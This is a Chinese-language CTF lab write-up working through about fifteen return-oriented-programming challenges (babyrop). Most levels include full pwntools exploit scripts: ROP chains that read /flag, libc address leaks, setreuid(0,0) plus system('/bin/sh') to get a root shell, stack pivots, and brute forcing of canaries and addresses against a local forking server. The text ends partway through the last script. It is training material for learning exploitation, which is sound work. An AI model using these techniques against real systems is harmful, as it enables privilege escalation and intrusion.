不会ROP的话,那么CTF比赛签到题都做不了。ahahahahahahah~
Return Oriented Programming 一条用得很多的找gadgets的方法
1 $ ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
level1.0 简单的栈溢出,直接覆盖返回地址为win函数地址即可。
level1.1 win():0x4019e7
,buf:0x7ffc739ba520
,rbp:0x7ffc739ba540
padding:0x20 + 8
level2.0 win_stage_1():0x401cbe
win_stage_2():0x401d6b
1 2 3 4 5 6 7 8 from pwn import * p = process("/challenge/babyrop_level2.0" ) payload = b'a' *56 + p64(0x401cbe ) + p64(0x401d6b ) p.send(payload)print (p.recvall())
level2.1 input_buf: 0x7fffca103c80
, rbp: 0x7fffca103cb0
padding = 0xb0 - 0x80 + 8= 0x38
1 2 3 4 pwndbg> b win_stage_1Breakpoint 2 at 0x401a4a pwndbg> b win_stage_2Breakpoint 3 at 0x401af7
level3.0 padding = 0x40+ 8 = 0x48
题目要求:stage1需要把参数设置为1,stage2需要把参数设置为2以此类推,总共五个stage。那么我们需要找到pop rsi; ret
。用ROPgadget试试:
1 2 hacker@return-oriented-programming~level3-0:/challenge$ ROPgadget --binary ./babyrop_level3.0 --only 'ret|pop' | grep 'rdi' 0x0000000000402663 : pop rdi ; ret
那就很简单了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import * p = process("/challenge/babyrop_level3.0" ) padding = b'a' *0x48 stage_1 = p64(0x0000000000402663 )+ p64(0x1 ) + p64(0x401fd6 ) stage_2 = p64(0x0000000000402663 )+ p64(0x2 ) + p64(0x40227b ) stage_3 = p64(0x0000000000402663 )+ p64(0x3 ) + p64(0x401ef4 ) stage_4 = p64(0x0000000000402663 )+ p64(0x4 ) + p64(0x402195 ) stage_5 = p64(0x0000000000402663 )+ p64(0x5 ) + p64(0x4020b2 ) payload = padding + stage_1 + stage_2 + stage_3 + stage_4 + stage_5 pause() p.send(payload)print (p.recvall())
level3.1 buf: 0x7ffe2d71b370
, rbp: 0x7ffe2d71b3c0
, padding = 0xc0 - 0x70 + 8
= 0x58
gadget:0x0000000000402093
level4.0
ASLR和PIE
PIE(Position-Independent Executable)是一种编译选项,使得可执行文件可以在内存任意位置运行,代码不是固定地址。工作原理:1. 使用相对地址而非绝对地址。2. 编译器生成位置无关代码,链接器生成可执行文件。 3. 加载时确定实际地址,并进行重新定位。
ASLR(Address Space Layout Randomization)是一种安全技术,通过随机化进程内存布局(如栈、堆、共享库等)的地址,增加攻击者预测内存地址的难度,从而放至缓冲区溢出等攻击。工作原理:1. 随机化对象:栈、堆、共享库、内存映射等。2. 操作系统在加载程序时,随机化各内存区域的基址。3. 随机化粒度:通常以内存页(如4KB)为单位。
ASLR是操作系统层面的技术,随机化内存布局。PIE是编译和链接层面的技术,生成与位置无关的代码。PIE使ASLR更有效,ASLR为PIE提供随机化支持。
这题开启了ASLR。但是它给了一个[leak],也就是把buf的地址给我们了。然后没有win函数,得自己构造了。由于之前shellcode那一章已经是很早之前做的了,有点不记得了。直接看一下shellcode的level1就行。然后就是ROPgadget找对应的指令就行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 hacker@return-oriented-programming~level4-0:/challenge$ ROPgadget --binary ./babyrop_level4.0 --only "pop|ret" | grep 'rdi' 0x00000000004026c6 : pop rdi ; ret hacker@return-oriented-programming~level4-0:/challenge$ ROPgadget --binary ./babyrop_level4.0 --only "pop|ret" | grep 'rsi' 0x0000000000402981 : pop rsi ; pop r15 ; ret 0x00000000004026ae : pop rsi ; ret hacker@return-oriented-programming~level4-0:/challenge$ ROPgadget --binary ./babyrop_level4.0 --only "pop|ret" | grep 'rax' 0x0000000000402697 : pop rax ; ret hacker@return-oriented-programming~level4-0:/challenge$ ROPgadget --binary ./babyrop_level4.0 --only "syscall" Gadgets information ============================================================ 0x00000000004026b6 : syscall hacker@return-oriented-programming~level4-0:/challenge$ ROPgadget --binary ./babyrop_level4.0 --only "pop|ret" | grep "rdx" 0x00000000004026a7 : pop rdx ; ret hacker@return-oriented-programming~level4-0:/challenge$ ROPgadget --binary ./babyrop_level4.0 --only "pop|ret" | grep "r10" 0x00000000004026a6 : pop r10 ; ret
啥都有,IDA打开算一下padding:0x60 + 8
=0x68。被以前的自己所恶心了一下。以前写shellcode level1的时候图方便用的sendfile作为第二个系统调用。但是这里是不支持sendfile的,找不到这个系统调用号。因此还是得用open
+read
+write
三兄弟。然后有两点值得注意:1. 经过之前的题目,很容易猜测open后的flag的fd大概率为3。2. flag的长度为0x39
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *p = process("/challenge/babyrop_level4.0" )padding = b'/flag'+ p8(0 x00) + b'a'*0 x62p .recvuntil(b'[LEAK] Your input buffer is located at: ')buf_addr = p.recv(14 )print ("buf_addr:" , buf_addr)buf_addr = p64(int(buf_addr.decode('utf-8 ')[2 :], 16 ))pop_rdi = p64(0 x4026c6)pop_rsi = p64(0 x4026ae)pop_rax = p64(0 x402697)syscall = p64(0 x4026b6)pop_rdx = p64(0 x4026a7)pop_r10 = p64(0 x4026a6)open_sys = pop_rdi + buf_addr + pop_rsi + p64(0 x0) + pop_rax + p64(0 x2) + syscallread_sys = pop_rax + p64(0 x0) + pop_rdi + p64(0 x3) + pop_rsi + buf_addr + pop_rdx + p64(1024 ) + syscallwrite_sys = pop_rdx + p64(0 x39) + pop_rax + p64(1 ) + pop_rdi + p64(1 ) + pop_rsi + buf_addr + syscallpayload = padding + open_sys + read_sys + write_sysp .send(payload)print (p.recvall())
level4.1 两件事:1. 换gadgets的地址。2. 算padding
即可拿到flag
level5.0 这题没有leak了,所以不知道栈的地址。但是上一题的exp中,栈地址是为了存储”/flag”字符串以及存储读出来的flag。那么可以写入其他可读可写的空间。用IDA pro打开,可以看到哪些字段是可写的段。选这些段的地址即可存储flag。然后为了把”/flag”字符串写入到程序中,因此需要额外调用一个read来接收stdin,stdin就是”/flag”。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import * p = process("/challenge/babyrop_level5.0" ) padding = b'a' *0x68 buf_addr = p64(0x405090 ) pop_rdi = p64(0x00000000004026df ) pop_rsi = p64(0x00000000004026ff ) pop_rax = p64(0x00000000004026e8 ) syscall = p64(0x000000000040270f ) pop_rdx = p64(0x00000000004026f0 ) open_sys = pop_rdi + buf_addr + pop_rsi + p64(0x0 ) + pop_rax + p64(0x2 ) + syscall read_sys = pop_rax + p64(0x0 ) + pop_rdi + p64(0x3 ) + pop_rsi + buf_addr + pop_rdx + p64(1024 ) + syscall write_sys = pop_rdx + p64(0x39 ) + pop_rax + p64(1 ) + pop_rdi + p64(1 ) + pop_rsi + buf_addr + syscall read_stdin = pop_rax + p64(0x0 ) + pop_rdi + p64(0 ) + pop_rsi + buf_addr + pop_rdx + p64(0x6 ) + syscall payload = padding + read_stdin + open_sys + read_sys + write_sys p.send(payload) p.send(b'/flag' + p8(0x00 ))print (p.recvall())
level5.1 查看可读可写段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 pwndbg > vmmapLEGEND : STACK | HEAP | CODE | DATA | RWX | RODATA Start End Perm Size Offset File 0x400000 0 x401000 r--p 1000 0 /challenge/babyrop_level5.1 0x401000 0 x402000 r-xp 1000 1000 /challenge/babyrop_level5.1 0x402000 0 x403000 r--p 1000 2000 /challenge/babyrop_level5.1 0x403000 0 x404000 r--p 1000 2000 /challenge/babyrop_level5.1 0x404000 0 x405000 rw-p 1000 3000 /challenge/babyrop_level5.1 0x17fc000 0 x181d000 rw-p 21000 0 [heap] 0x7897c231d000 0 x7897c233f000 r--p 22000 0 /usr/lib/x86_64-linux-gnu/libc-2 .31 .so 0x7897c233f000 0 x7897c24b7000 r-xp 178000 22000 /usr/lib/x86_64-linux-gnu/libc-2 .31 .so 0x7897c24b7000 0 x7897c2505000 r--p 4 e000 19 a000 /usr/lib/x86_64-linux-gnu/libc-2 .31 .so 0x7897c2505000 0 x7897c2509000 r--p 4000 1 e7000 /usr/lib/x86_64-linux-gnu/libc-2 .31 .so 0x7897c2509000 0 x7897c250b000 rw-p 2000 1 eb000 /usr/lib/x86_64-linux-gnu/libc-2 .31 .so 0x7897c250b000 0 x7897c2511000 rw-p 6000 0 [anon_7897c250b] 0x7897c2520000 0 x7897c2521000 r--p 1000 0 /usr/lib/x86_64-linux-gnu/ld-2 .31 .so 0x7897c2521000 0 x7897c2544000 r-xp 23000 1000 /usr/lib/x86_64-linux-gnu/ld-2 .31 .so 0x7897c2544000 0 x7897c254c000 r--p 8000 24000 /usr/lib/x86_64-linux-gnu/ld-2 .31 .so 0x7897c254d000 0 x7897c254e000 r--p 1000 2 c000 /usr/lib/x86_64-linux-gnu/ld-2 .31 .so 0x7897c254e000 0 x7897c254f000 rw-p 1000 2 d000 /usr/lib/x86_64-linux-gnu/ld-2 .31 .so 0x7897c254f000 0 x7897c2550000 rw-p 1000 0 [anon_7897c254f] 0x7fff1a68e000 0 x7fff1a6af000 rw-p 21000 0 [stack] 0x7fff1a7e9000 0 x7fff1a7ed000 r--p 4000 0 [vvar] 0x7fff1a7ed000 0 x7fff1a7ef000 r-xp 2000 0 [vdso] 0xffffffffff600000 0 xffffffffff601000 --xp 1000 0 [vsyscall]
查看gadget:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 hacker@return-oriented-programming~level5-1:/challenge$ ROPgadget --binary "./babyrop_level5.1" --only "pop|ret" | grep "rax" 0x0000000000401bc7 : pop rax ; ret hacker@return-oriented-programming~level5-1:/challenge$ ROPgadget --binary "./babyrop_level5.1" --only "pop|ret" | grep "rdx" 0x0000000000401bef : pop rdx ; ret hacker@return-oriented-programming~level5-1:/challenge$ ROPgadget --binary "./babyrop_level5.1" --only "pop|ret" | grep "rdi" 0x0000000000401bd7 : pop rdi ; ret hacker@return-oriented-programming~level5-1:/challenge$ ROPgadget --binary "./babyrop_level5.1" --only "pop|ret" | grep "rsi" 0x0000000000401d61 : pop rsi ; pop r15 ; ret 0x0000000000401bcf : pop rsi ; ret hacker@return-oriented-programming~level5-1:/challenge$ ROPgadget --binary "./babyrop_level5.1" --only "syscall" Gadgets information ============================================================ 0x0000000000401bdf : syscall Unique gadgets found: 1
level6.0 没有syscall gadget了。但是在IDA中看到了以下函数:
1 2 3 4 5 6 7 8 ssize_t __fastcall force_import (const char *a1, int a2) { off_t *v2; size_t v3; open(a1, a2); return sendfile((int )a1, a2, v2, v3); }
sendfile这个可太熟了,第一个shellcode就是sendfile。直接调用这个函数就行了。查看gadget:
1 2 3 4 5 6 0x00000000004014d2 : pop rbx 0x00000000004023d4 : pop rcx 0x00000000004023cc : pop rdi 0x00000000004023dc : pop rdx 0x0000000000402621 : pop rsi 0x00000000004023c4 : pop rsi
force_import的地址:0x402399
。这里复习一下x86-64
架构的System V AMD64 ABI
调用约定下,整数和指针 参数传递规则
参数顺序
寄存器
第1个
rdi
第2个
rsi
第3个
rdx
第4个
rcx
第5个
r8
第6个
r9
第7个及以后
栈
当掌握了返回地址时,可以跳跃到任何地方。包括一个函数的中间某条指令处。只要某个段有可执行权限,那么就可以将返回地址设置为它,并执行其中的代码。这里用到了.plt.sec
段的read函数。然后使其接收用户输入来将”/flag”字符串写入一个可写段。再调用force_import。
这里需要调用两次force_import,且第一次应该是函数的起始地址,因为我们需要正常返回,需要主要函数调用时栈的迁移。如果我们设置的ret地址是调用open时的地址,那么在执行完sendfile后,无法正常返回。因为返回地址没有push进栈,导致返回不了。第二次时,可以不执行open,执行open的话会导致我们设置的ROP失效,因为open函数调用后会导致一些寄存器的值被修改,导致sendfile失败。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import * p = process("/challenge/babyrop_level6.0" ) padding = b'a' *0x58 buf_addr = p64(0x405000 ) pop_rdi = p64(0x00000000004023cc ) pop_rsi = p64(0x00000000004023c4 ) pop_rax = p64(0x0000000000401bc7 ) pop_rcx = p64(0x00000000004023d4 ) pop_rdx = p64(0x00000000004023dc ) read_stdin = pop_rdi + p64(0x0 ) + pop_rsi + buf_addr + pop_rdx + p64(0x6 ) + p64(0x401160 ) force_import_open = pop_rdi + buf_addr + pop_rsi + p64(0x0 ) + pop_rdx + p64(0x0 ) + pop_rcx + p64(0x39 ) + p64(0x402399 ) force_import_send = pop_rdi + p64(0x1 ) + pop_rsi + p64(0x3 ) + pop_rdx + p64(0x0 ) + pop_rcx + p64(0x39 ) + p64(0x4023ab ) payload = padding + read_stdin + force_import_open + force_import_send p.send(payload) p.send(b'/flag' + p8(0x00 ))print (p.recvall())
level6.1 这道题就是上面的exp改地址就行了。
level7.0 这里有一个坑啊,就是直接使用system("/bin/sh")
,拿到shell后,还是”hacker”的身份,依然没有权限拿到flag。需要做一个进程uid的修改。
UID(用户标识符)
UID是用于标识系统中每个用户的唯一数字。每个用户都有一个UID,系统通过UID来识别用户并控制其权限。普通用户的UID从1000开始,具体取决于系统的配置。ROOT用户的UID始终为0。
Real UID和 Effective UID
真实用户ID是启动进程的用户的UID。它代表了进程的真正所有者。
有效用户ID决定了进程在执行操作时的权限级别。有些时候进程需要特权时便会切换EUID以执行相应操作。
但是,RUID为普通用户,启动的shell也是普通用户。【也有例外】如果可执行文件设置了Set UID位,并且其所有者是Root,那么无论谁允许该程序,进程的有效用户ID都会是Root。
setreuid
是一个系统调用,用户改变进程的真实用户ID和有效用户ID。
1 2 3 4 5 6 7 #include <unistd.h> int setreuid (uid_t ruid, uid_t euid) ;
这一个level我尝试了chmod,但是发现不行。chmod+ln -s的方式。修改/flag的软链接文件的权限,但是是失败的,我在Practice模式里尝试也是失败的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import * context.arch = "amd64" p = process("/challenge/babyrop_level7.0" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) padding = b'a' *0x88 p.recvuntil(b"[LEAK] The address of \"system\" in libc is: " ) sys_addr = p.recv(14 ) sys_addr = int (sys_addr.decode('utf-8' ), 16 )print ("sys_addr:" , hex (sys_addr)) libc.address = sys_addr - libc.symbols['system' ] binsh_addr = next (libc.search(b'/bin/sh' )) setreuid_addr = libc.symbols['setreuid' ]print ("setreuid_addr" , hex (setreuid_addr))print ("binsh_addr" , hex (binsh_addr)) rop = ROP(libc) ruid = 0 euid = 0 rop.raw(rop.rdi) rop.raw(ruid) rop.raw(rop.rsi) rop.raw(euid) rop.raw(setreuid_addr) rop.raw(rop.rdi) rop.raw(binsh_addr) rop.raw(sys_addr)print (rop.dump) payload = padding + rop.chain() p.send(payload) p.interactive()
level7.1 只改padding即可。
level8.0 看了一下课才知道怎么做。思路是:由于延迟绑定的原因,只有先执行一遍libc中的函数,libc.so才会被加载进内存,此时我们获得的libc的基址就是内存中实际libc的地址。因此,可以采用puts(puts)
的形式,像题目中提示的那样。
首先执行一次plt.put(got.puts)
,这样能够把got表中puts的值打印出来。然后再用puts的got表地址减去puts在libc中的偏移地址得到libc的基地址。此时,我们再返回challenge函数重新执行一遍challenge。第二次challenge的执行是为了获得shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import * context.arch = "amd64" p = process("/challenge/babyrop_level8.0" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) padding = b'a' *0x78 challenge_addr = p64(0x402000 ) e = p.elf r = ROP(e) r.raw(r.rdi) r.raw(e.got['puts' ]) r.raw(challenge_addr) payload = padding + r.chain() p.send(payload) p.recvuntil(b'Leaving!\n' ) puts_got_addr = u64(p.recv(6 ).ljust(8 ,b'\x00' ))print (hex (puts_got_addr)) libc.address = puts_got_addr - libc.symbols['puts' ]print ("puts_got_addr:" ,hex (puts_got_addr))print ("libc_addr" , hex (libc.address)) sys_addr = libc.symbols['system' ] binsh_addr = next (libc.search(b'/bin/sh' )) setreuid_addr = libc.symbols['setreuid' ]print ("setreuid_addr" , hex (setreuid_addr))print ("binsh_addr" , hex (binsh_addr)) rop = ROP(libc) ruid = 0 euid = 0 rop.raw(rop.rdi) rop.raw(ruid) rop.raw(rop.rsi) rop.raw(euid) rop.raw(setreuid_addr) rop.raw(rop.rdi) rop.raw(binsh_addr) rop.raw(sys_addr) payload = padding + rop.chain() p.send(payload) p.interactive()
level8.1 改一下padding以及challenge的地址就行
level9.0 有点小麻,由于长时间尝试返回地址为challenge,导致栈迁移后大概率会出现问题。因为进入challenge时会创建新的函数栈帧,而这个栈帧会导致后面的printf函数出现空指针的错误,因此,我一直在尝试解决这个问题,修复栈修复到我要原地爆炸!最后还是妥协,返回地址设置成read函数那儿,从而一下就能出来,因为栈没有变,迁移后的栈是我们可控的。
buf_addr: 0x4150e0
,需要用leave指令把栈迁移到bss段的可写段。我开辟了一个rsp->0x4150f8
然后rbp->0x415140
这么样的一个新栈帧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import * context.arch = "amd64" p = process("/challenge/babyrop_level9.0" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) read_addr = p64(0x402257 ) e = p.elf r = ROP(e) r.raw(r.rbp) r.raw(0x4150f8 ) r.raw(r.leave) r.raw(0x415140 ) r.raw(r.rdi) r.raw(e.got['puts' ]) r.raw(e.plt['puts' ]) r.raw(read_addr) payload = r.chain() p.send(payload) p.recvuntil(b'Leaving!\n' ) puts_got_addr = u64(p.recv(6 ).ljust(8 ,b'\x00' ))print (hex (puts_got_addr)) libc.address = puts_got_addr - libc.symbols['puts' ]print ("puts_got_addr:" ,hex (puts_got_addr))print ("libc_addr" , hex (libc.address)) sys_addr = libc.symbols['system' ] binsh_addr = next (libc.search(b'/bin/sh' )) setreuid_addr = libc.symbols['setreuid' ]print ("setreuid_addr" , hex (setreuid_addr))print ("binsh_addr" , hex (binsh_addr)) padding = b'a' * 56 rop = ROP(libc) ruid = 0 euid = 0 rop.raw(rop.rdi) rop.raw(ruid) rop.raw(rop.rsi) rop.raw(euid) rop.raw(setreuid_addr) rop.raw(rop.rdi) rop.raw(binsh_addr) rop.raw(sys_addr)print (rop.dump()) payload = padding + rop.chain() pause() p.send(payload) p.interactive()
level9.1 只用改buf的地址以及read的地址即可。
level10.0 这题依然是栈迁移,需要细细分析。leave指令的作用。并且需要查看win函数地址存放在栈的哪里。
leave = mov rbp, rsp; pop rbp;
基于leave指令的特性,可以覆盖rbp的值,使其在栈中迁移。因为challenge函数在ret前会有一次leave。所以可以迁移rbp指令至win函数地址-8的位置。为什么要减去8?分析stack(win) - 8(这表示win函数地址的栈地址并减去8)的情形:
当修改rbp地址的存储为stack(win)-8后,正常执行结束challenge函数,那么会执行一次leave指令。先执行mov rsp, rbp
后:rsp此时指向stack(win)-8,再执行``pop rbp`后,rbp此时的地址为stack(win)-8,此时rsp指向原先rbp的地址+8,即返回地址处。
那么再执行一次leave后,还会执行mov rsp, rbp
,此时rsp的地址为stack(win)-8。此时再执行pop rbp
后,rbp可能已经丢失了,然后rsp为stack(win)。那么此时再执行一个ret指令,即跳转到win函数了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * context.arch = "amd64" while True : p = process("/challenge/babyrop_level10.0" ) padding = b'a' * 0x38 p.recvuntil(b'located at: ' ) input_buf = p64(int (p.recvline().strip()[:-1 ], 16 ) - 8 - 8 ) payload = padding + input_buf + p16(0xe71e ) p.send(payload) out = p.recvall() if b'pwn' in out: break print (out) p.interactive()
当然,因为题目给了win函数的地址,因此可以直接ret到那儿去。但是10.1还是要按照这种方法做的。
level10.1 该padding以及gadget偏移即可。
level11.0 如level10.1脚本,改gadget偏移
level11.1 还是改gadget偏移即可
level12.0 这题没有challenge函数了。因此,我们爆破的是main函数的返回地址。它会去到libc.so文件中。所以我们需要拿到libc.so文件中的leave;ret
指令的偏移地址。然后爆破。这里爆破的时间就有点长了,因为偏移地址是3个字节的长度。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import * context.arch = "amd64" while True: p = process("/challenge/babyrop_level12.1" ) padding = b'a' * 0x48 p.recvuntil(b'located at: ' ) input_buf = p64(int (p.recvline().strip()[:-1 ], 16 ) - 8 - 8 ) payload = padding + input_buf + p16(0x18c8 ) + p8(0x73 ) # pause() p.send(payload) out = p.recvall(1 ) if b'pwn' in out : break print (out )p.interactive ()
记得p.recvall(1)
,设置一下超时时间,因为爆破过程中很有可能会去到libc.so中某个有效地址,从而导致程序hang out,那么你就得重新开始跑。这样的话,重复执行exp多次也不一定能够爆破出来。
level12.1 上面的exp直接跑
level13.0 这题所有保护都开了,但是题目给了LEAK,让我们泄露canary。泄露出来后,需要覆盖最低的一个字节,让它返回到call main
的前面,然后重新执行一遍main,此时再泄露ret地址,因为ret地址减去固定偏移就是libc_base
的地址,这样就可以进行ROP了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import * context.arch = "amd64" libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) p = process("/challenge/babyrop_level13.0" ) padding = b'a' * 0x78 p.recvuntil(b'located at: ' ) input_buf = int (p.recvline().strip()[:-1 ], 16 ) canary_addr = input_buf + 0x78 p.sendlineafter(b'from:\n' , hex (canary_addr).encode('utf-8' )) p.recvuntil(b' = ' ) canary = p.recvline().strip() canary = int (canary, 16 )print ("canary:" , hex (canary)) payload = padding + p64(canary) + p64(0x00 ) + p8(0x60 ) p.send(payload) ret_libc_addr = input_buf + 0x88 p.sendlineafter(b'from:\n' , hex (ret_libc_addr).encode('utf-8' )) p.recvuntil(b' = ' ) libc_base = int (p.recvline().strip(), 16 ) - 0x24083 print ("libc_base:" , libc_base) libc.address = libc_base sys_addr = libc.symbols['system' ] binsh_addr = next (libc.search(b'/bin/sh' )) setreuid_addr = libc.symbols['setreuid' ]print ("setreuid_addr" , hex (setreuid_addr))print ("binsh_addr" , hex (binsh_addr)) rop = ROP(libc) ruid = 0 euid = 0 rop.raw(rop.rdi) rop.raw(ruid) rop.raw(rop.rsi) rop.raw(euid) rop.raw(setreuid_addr) rop.raw(rop.rdi) rop.raw(binsh_addr) rop.raw(sys_addr)print (rop.dump()) payload = padding + p64(canary) + p64(0xdeadbeef ) + rop.chain() p.send(payload) p.interactive()
level13.1 改偏移地址,三个地方:padding
,canary_addr
,ret_libc_addr
level14.0 这题有fork,那大概率是爆破了。思路是,先爆破canary,再爆破main函数的基地址,然后再利用main的基地址进行plt.puts(got.puts)
泄露libc基地址,然后根据libc基地址拿到shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 from pwn import * context.arch = "amd64" libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) padding = b'a' * 0x58 x = 0x00 tmp = b'' canary = b'' while True : p = remote('127.0.0.1' , 1337 ) tmp = canary if x > 255 : x = 0 y = p8(x) x += 1 tmp += y payload = padding + tmp print (payload) p.sendafter(b'scenario.\n' , payload) out = p.recvall() p.close() if b'smashing detected ***: terminated' not in out: canary += y if len (canary) == 8 : break x = 0 print ("canary:" , hex (u64(canary))) pause() x = 0x01 tmp = b'' main_addr = b'' while True : p = remote('127.0.0.1' , 1337 ) tmp = main_addr if x > 255 : x = 0 y = p8(x) x += 1 tmp += y payload = padding + canary + p64(0xdeadbeef ) + tmp p.sendafter(b'scenario.\n' , payload) out = p.recvall(1 ) p.close() if b'### Goodbye!' in out: main_addr += y if len (main_addr) == 8 : break x = 0 continue print ("main_addr:" , hex (u64(main_addr))) pause() p = remote('127.0.0.1' , 1337 ) pro = process("/challenge/babyrop_level14.0" ) e = pro.elf e.address = u64(main_addr) - 0x1fce r = ROP(e) r.raw(r.rdi) r.raw(e.got['puts' ]) r.raw(e.plt['puts' ]) payload = padding + canary + p64(0xdeadbeef ) + r.chain() p.send(payload) p.recvuntil(b'Leaving!\n' ) puts_got_addr = u64(p.recv(6 ).ljust(8 ,b'\x00' )) libc.address = puts_got_addr - libc.symbols['puts' ]print ("puts_got_addr:" ,hex (puts_got_addr))print ("libc_addr" , hex (libc.address))print ("main_addr:" , hex (u64(main_addr)))print ("main_base_addr:" , hex (e.address)) sys_addr = libc.symbols['system' ] binsh_addr = next (libc.search(b'/bin/sh' )) setreuid_addr = libc.symbols['setreuid' ]print ("setreuid_addr" , hex (setreuid_addr))print ("binsh_addr" , hex (binsh_addr))print ("canary:" , hex (u64(canary))) rop = ROP(libc) ruid = 0 euid = 0 rop.raw(rop.rdi) rop.raw(ruid) rop.raw(rop.rsi) rop.raw(euid) rop.raw(setreuid_addr) rop.raw(rop.rdi) rop.raw(binsh_addr) rop.raw(sys_addr)print (rop.dump()) payload = padding + canary + p64(0x0 ) + rop.chain() p = remote('127.0.0.1' , 1337 ) p.send(payload) p.interactive()
但是很神奇的是,就算canary是正确的,同样的脚本依然会出现”smashing detected ***: terminated”,所以,写一个固定的脚本多跑几次:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import * context.log_level = 'debug' context.arch = "amd64" main_addr = 0x5c929d8dffce canary = 0xca03b3b9123c1900 main_base_addr = 0x5c929d8de000 padding = b'a' * 0x58 libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) pro = process("/challenge/babyrop_level14.0" ) e = pro.elf e.address = main_base_addr r = ROP(e) r.raw(r.rdi) r.raw(e.got['puts' ]) r.raw(e.plt['puts' ])print (r.dump()) libc.address = 0x7d3e08419000 sys_addr = libc.symbols['system' ] binsh_addr = next (libc.search(b'/bin/sh' )) setreuid_addr = libc.symbols['setreuid' ] rop = ROP(libc) ruid = 0 euid = 0 rop.raw(rop.rdi) rop.raw(ruid) rop.raw(rop.rsi) rop.raw(euid) rop.raw(setreuid_addr) rop.raw(rop.rdi) rop.raw(binsh_addr) rop.raw(sys_addr)print (rop.dump()) payload = padding + p64(canary) + p64(0x0 ) + rop.chain() p = remote('127.0.0.1' , 1337 ) p.send(payload) p.interactive()
主要fork下,不是很好调试。不然可以分析一下为什么一会出现canary一会没有出现canary。
level14.1 一样的过程,改偏移地址就行。(包括challenge函数执行后的返回地址,因为是用它算的main基地址)
level15.0 貌似我上一道题有点曲折了,拿到main的基地址就能做很多事了,但是我在ROPgadget中确实没看到systemcall啥的gadget能用。不过好处是,这题反而比上一题简单了。不用爆破main基地址,直接爆破libc基地址,然后就能获得shell。
返回的libc偏移地址为:0x79dc58fd5083 - 0x79dc58fb1000 = 0x24083
最后减去就是libc_base的地址。
但是,有个前提,由于我们无法确定返回到libc_start中是否正确。因此返回地址的最低字节不能是0x83
,这样的话就不能控制程序再次调用mian了。所以,爆破libc_addr时,可以以是否再次执行mian来判断该字节爆破的是否正确。exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 from pwn import * context.arch = "amd64" import subprocessdef kill_babyrop_processes (): try : pids = subprocess.check_output(["pgrep" , "babyrop_level15" ]).decode().split() if len (pids) > 1 : subprocess.run(["kill" , "-9" , pids[1 ]], check=True ) print (f"[+] Killed babyrop_level15 (PID: {pids[1 ]} )" ) except subprocess.CalledProcessError: pass libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) padding = b'a' * 0x18 x = 0x00 tmp = b'' canary = b'' while True : p = remote('127.0.0.1' , 1337 ) tmp = canary if x > 255 : x = 0 y = p8(x) x += 1 tmp += y payload = padding + tmp print (payload) p.send(payload) out = p.recvall() p.close() if b'smashing detected ***: terminated' not in out: canary += y if len (canary) == 8 : break x = 0 print ("canary:" , hex (u64(canary))) pause() x = 0x00 tmp = b'' libc_addr = p8(0x60 )while True : p = remote('127.0.0.1' , 1337 ) tmp = libc_addr if x > 255 : x = 0 y = p8(x) x += 1 tmp += y payload = padding + canary + p64(0xdeadbeef ) + tmp print (payload) p.send(payload) out = p.recvall(1 ) p.close() if b'### Welcome to' in out: libc_addr += y if len (libc_addr) == 8 : break x = 0 kill_babyrop_processes()print ("libc_addr:" , hex (u64(libc_addr))) pause() kill_babyrop_processes() libc.address = u64(libc_addr) - 0x24060 print ("libc_addr" , hex (libc.address)) sys_addr = libc.symbols['system' ] binsh_addr = next (libc.search(b'/bin/sh' )) setreuid_addr = libc.symbols['setreuid' ]print ("setreuid_addr" , hex (setreuid_addr))print ("binsh_addr" , hex (binsh_addr)) rop = ROP(libc) ruid = 0 euid = 0 rop.raw(rop.rdi) rop.raw(ruid) rop.raw(rop.rsi) rop.raw(euid) rop.raw(setreuid_addr) rop.raw(rop.rdi) rop.raw(binsh_addr) rop.raw(sys_addr)print (rop.dump()) payload = padding + canary + 